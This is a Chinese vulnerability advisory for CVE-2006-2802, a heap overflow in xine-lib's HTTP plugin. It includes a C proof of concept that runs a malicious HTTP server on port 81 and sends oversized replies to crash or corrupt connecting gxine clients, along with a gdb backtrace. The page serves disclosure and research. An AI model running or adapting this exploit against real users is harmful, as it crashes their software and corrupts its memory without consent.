首页 -> 安全研究
安全研究
安全漏洞
Xine-Lib HTTP响应处理缓冲区溢出漏洞
发布日期:2006-05-31
更新日期:2006-05-31
受影响系统:
xine xine-lib 1.1.1描述:
xine xine-lib 1.1.0
xine xine-lib 1.0.2
xine xine-lib 1.0.1
xine gxine 0.5.6
BUGTRAQ ID: 18187
CVE(CAN) ID: CVE-2006-2802
xine是一款免费的媒体播放器,支持多种格式。
xine-lib的xineplug_inp_http.so插件在处理HTTP服务器的超长回复时存在堆溢出漏洞,远程攻击者可以诱骗用户打开到恶意站点的HTTP URL触发这个漏洞,导致使用该插件的应用程序崩溃。
<*来源:Federico L. Bossi Bonin (fbossi@netcomm.com.ar)
链接:http://secunia.com/advisories/20369/print/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
// gxine - HTTP Plugin Remote Buffer Overflow PoC
/////////////////////////////////////////////////////
//
// Federico L. Bossi Bonin
// fbossi[at]netcomm[dot]com[dot]ar
/////////////////////////////////////////////////////
// TESTED on gxine 0.5.6
////////////////////////
// 0xb78eccc7 in free () from /lib/tls/libc.so.6
// (gdb) backtrace
// #0 0xb78eccc7 in free () from /lib/tls/libc.so.6
// #1 0xb7438fc8 in ?? () from /usr/lib/xine/plugins/1.1.1/xineplug_inp_http.so
// #2 0x41414141 in ?? ()
// #3 0xb7f42164 in ?? () from /usr/lib/libxine.so.1
// #4 0x080b1810 in ?? ()
// #5 0xb7f0e635 in xine_open () from /usr/lib/libxine.so.1
// #6 0xb7f3967f in ?? () from /usr/lib/libxine.so.1
// #7 0x0877c084 in ?? ()
// #8 0x0930a931 in ?? ()
// #9 0x080880a2 in defs.3 ()
// #10 0xb0088478 in ?? ()
// #11 0x00000000 in ?? ()
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 81
#define LEN 9500
void shoot(int);
int main() {
struct sockaddr_in srv_addr, client;
int len,pid,sockfd,sock;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
perror("error socket()");
exit(1);
}
bzero((char *) &srv_addr, sizeof(srv_addr));
srv_addr.sin_family = AF_INET;
srv_addr.sin_addr.s_addr = INADDR_ANY;
srv_addr.sin_port = htons(PORT);
if (bind(sockfd, (struct sockaddr *) &srv_addr,sizeof(srv_addr)) < 0) {
perror("error bind()");
exit(1);
}
printf("Listening on port %i\n",PORT);
listen(sockfd,5);
len = sizeof(client);
while (1) {
sock = accept(sockfd, (struct sockaddr *) &client, &len);
if (sock < 0) {
perror("error accept()");
exit(1);
}
pid = fork();
if (pid < 0) {
perror("fork()");
exit(1);
}
if (pid == 0) {
close(sockfd);
printf("Conection from %s\n",inet_ntoa(client.sin_addr));
shoot(sock);
exit(0);
}
else close(sock);
}
return 0;
}
void shoot (int sock) {
int i;
for (i=0 ; i < LEN ; i++) {
write(sock,"\x41",1);
}
}
// milw0rm.com [2006-05-30]
建议:
厂商补丁:
xine
----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://xinehq.de/
浏览次数:2859
严重程度:0(网友投票)
绿盟科技给您安全的保障